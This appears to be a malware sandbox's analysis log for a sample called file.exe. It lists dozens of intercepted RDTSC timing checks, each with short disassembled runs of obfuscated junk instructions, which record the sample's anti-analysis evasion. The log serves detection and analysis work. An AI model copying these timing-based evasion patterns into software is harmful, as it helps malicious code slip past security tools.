Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB18C second address: 4AB192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB192 second address: 4AB196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB47D second address: 4AB483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB483 second address: 4AB487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB487 second address: 4AB4AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF6h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F856102FBE6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB4AD second address: 4AB4B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB4B1 second address: 4AB4B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB737 second address: 4AB73D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABE14 second address: 4ABE18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEE33 second address: 4AEE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEE39 second address: 4AEE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F856102FBECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEE4A second address: 4AEE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF17E second address: 4AF182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF182 second address: 4AF191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF191 second address: 4AF197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1F05 second address: 4B1F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1F0B second address: 4B1F0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1F0F second address: 4B1F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F856106A856h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1AA5 second address: 4B1AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B1AAB second address: 4B1ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F856106A866h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B39C3 second address: 4B39C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C0306 second address: 3C030D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C030D second address: 3C0313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0400 second address: 50B042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F856106A869h 0x0000000a jmp 00007F856106A85Bh 0x0000000f popfd 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B042B second address: 50B0467 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F856102FBF8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0467 second address: 50B046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B046B second address: 50B0471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0471 second address: 50B0477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0477 second address: 50B047B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E04B6 second address: 50E0554 instructions: 0x00000000 rdtsc 0x00000002 call 00007F856106A85Bh 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007F856106A864h 0x00000011 mov dword ptr [esp], ebp 0x00000014 jmp 00007F856106A860h 0x00000019 mov ebp, esp 0x0000001b jmp 00007F856106A860h 0x00000020 xchg eax, ecx 0x00000021 pushad 0x00000022 mov di, si 0x00000025 mov ax, E009h 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007F856106A85Fh 0x00000030 xchg eax, ecx 0x00000031 jmp 00007F856106A866h 0x00000036 xchg eax, esi 0x00000037 jmp 00007F856106A860h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F856106A85Eh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0554 second address: 50E05A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 jmp 00007F856102FBEAh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f jmp 00007F856102FBF0h 0x00000014 lea eax, dword ptr [ebp-04h] 0x00000017 jmp 00007F856102FBF0h 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F856102FBF7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05A5 second address: 50E05E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F856106A85Ah 0x00000013 xor ecx, 6A670538h 0x00000019 jmp 00007F856106A85Bh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E05E4 second address: 50E060B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F856102FBEAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E060B second address: 50E061A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E061A second address: 50E0632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856102FBF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0632 second address: 50E0646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx ecx, bx 0x00000011 mov ecx, edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0646 second address: 50E064C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0663 second address: 50E0687 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A866h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0687 second address: 50E06A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E06A4 second address: 50E06B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856106A85Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D002D second address: 50D0055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F856102FBECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0055 second address: 50D0069 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 3D755AD4h 0x00000008 mov bl, 50h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0069 second address: 50D00D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F856102FBF4h 0x00000009 xor cl, FFFFFFB8h 0x0000000c jmp 00007F856102FBEBh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F856102FBF8h 0x00000018 or eax, 447FAC18h 0x0000001e jmp 00007F856102FBEBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F856102FBF5h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D00D7 second address: 50D00DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D00DD second address: 50D00E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D00E1 second address: 50D00E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D00E5 second address: 50D0146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a pushad 0x0000000b call 00007F856102FBF5h 0x00000010 call 00007F856102FBF0h 0x00000015 pop eax 0x00000016 pop ebx 0x00000017 pushfd 0x00000018 jmp 00007F856102FBF0h 0x0000001d and eax, 43AFFB38h 0x00000023 jmp 00007F856102FBEBh 0x00000028 popfd 0x00000029 popad 0x0000002a push 6A13E6FFh 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0146 second address: 50D014C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D014C second address: 50D01F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 0BB2B749h 0x00000010 jmp 00007F856102FBF6h 0x00000015 call 00007F856102FBE9h 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F856102FBEEh 0x00000021 or cx, F728h 0x00000026 jmp 00007F856102FBEBh 0x0000002b popfd 0x0000002c mov eax, 0386F41Fh 0x00000031 popad 0x00000032 push eax 0x00000033 jmp 00007F856102FBF5h 0x00000038 mov eax, dword ptr [esp+04h] 0x0000003c pushad 0x0000003d push ebx 0x0000003e mov eax, 0B64C159h 0x00000043 pop ecx 0x00000044 jmp 00007F856102FBEFh 0x00000049 popad 0x0000004a mov eax, dword ptr [eax] 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F856102FBEBh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D01F3 second address: 50D0210 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0210 second address: 50D0220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856102FBECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0220 second address: 50D0224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0224 second address: 50D02E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F856102FBECh 0x00000013 adc si, E0A8h 0x00000018 jmp 00007F856102FBEBh 0x0000001d popfd 0x0000001e mov edx, ecx 0x00000020 popad 0x00000021 pop eax 0x00000022 jmp 00007F856102FBF2h 0x00000027 mov eax, dword ptr fs:[00000000h] 0x0000002d pushad 0x0000002e mov eax, 7C1B1FDDh 0x00000033 mov ah, DCh 0x00000035 popad 0x00000036 push eax 0x00000037 pushad 0x00000038 mov dx, si 0x0000003b mov dh, ah 0x0000003d popad 0x0000003e mov dword ptr [esp], eax 0x00000041 jmp 00007F856102FBEFh 0x00000046 sub esp, 18h 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007F856102FBF4h 0x00000050 xor eax, 4BD0C7C8h 0x00000056 jmp 00007F856102FBEBh 0x0000005b popfd 0x0000005c mov ebx, eax 0x0000005e popad 0x0000005f xchg eax, ebx 0x00000060 jmp 00007F856102FBF2h 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F856102FBEEh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D02E0 second address: 50D0318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F856106A861h 0x00000009 add ax, FA46h 0x0000000e jmp 00007F856106A861h 0x00000013 popfd 0x00000014 mov dh, ah 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0318 second address: 50D031C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D031C second address: 50D0330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A860h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0330 second address: 50D0357 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F856102FBF5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0357 second address: 50D035D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D035D second address: 50D0361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0361 second address: 50D0399 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx edx, ax 0x00000010 push eax 0x00000011 mov al, bh 0x00000013 pop esi 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F856106A862h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0399 second address: 50D039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D039F second address: 50D03DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov al, AFh 0x0000000c mov eax, ebx 0x0000000e popad 0x0000000f mov dword ptr [esp], edi 0x00000012 jmp 00007F856106A863h 0x00000017 mov eax, dword ptr [75C74538h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F856106A860h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D03DD second address: 50D03E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D03E1 second address: 50D03E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D03E7 second address: 50D03ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D03ED second address: 50D0450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A868h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [ebp-08h], eax 0x0000000e jmp 00007F856106A860h 0x00000013 xor eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushfd 0x0000001b jmp 00007F856106A868h 0x00000020 sub si, B1E8h 0x00000025 jmp 00007F856106A85Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D0450 second address: 50D0476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F856102FBF9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C048A second address: 50C054C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A85Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dx, si 0x0000000e push ecx 0x0000000f pushfd 0x00000010 jmp 00007F856106A867h 0x00000015 or al, 0000004Eh 0x00000018 jmp 00007F856106A869h 0x0000001d popfd 0x0000001e pop esi 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 push ebx 0x00000024 pushfd 0x00000025 jmp 00007F856106A868h 0x0000002a or al, FFFFFFF8h 0x0000002d jmp 00007F856106A85Bh 0x00000032 popfd 0x00000033 pop ecx 0x00000034 mov bx, 853Ch 0x00000038 popad 0x00000039 sub esp, 2Ch 0x0000003c jmp 00007F856106A85Bh 0x00000041 xchg eax, ebx 0x00000042 jmp 00007F856106A866h 0x00000047 push eax 0x00000048 jmp 00007F856106A85Bh 0x0000004d xchg eax, ebx 0x0000004e pushad 0x0000004f jmp 00007F856106A85Bh 0x00000054 popad 0x00000055 xchg eax, edi 0x00000056 pushad 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0723 second address: 50C0729 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0729 second address: 50C072F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C072F second address: 50C0755 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0755 second address: 50C0759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0759 second address: 50C0776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0776 second address: 50C0799 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F85D1BC8557h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ch, dh 0x00000014 mov cl, 73h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0799 second address: 50C0815 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F856102FC9Ch 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F856102FBEEh 0x00000016 xor eax, 3D39A718h 0x0000001c jmp 00007F856102FBEBh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F856102FBF8h 0x00000028 jmp 00007F856102FBF5h 0x0000002d popfd 0x0000002e popad 0x0000002f cmp dword ptr [ebp-14h], edi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F856102FBEDh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0815 second address: 50C0825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856106A85Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0825 second address: 50C0829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0829 second address: 50C0843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F85D1BC84C0h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F856106A85Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0843 second address: 50C0870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 pushfd 0x00000006 jmp 00007F856102FBEAh 0x0000000b sub ax, DD68h 0x00000010 jmp 00007F856102FBEBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebx, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0870 second address: 50C088B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A867h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C088B second address: 50C090F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c jmp 00007F856102FBEEh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 mov cx, 4CEDh 0x00000017 mov eax, 3B59CAE9h 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 call 00007F856102FBEBh 0x00000025 pop eax 0x00000026 call 00007F856102FBF9h 0x0000002b pop ecx 0x0000002c popad 0x0000002d mov dx, E994h 0x00000031 popad 0x00000032 xchg eax, esi 0x00000033 jmp 00007F856102FBF3h 0x00000038 nop 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
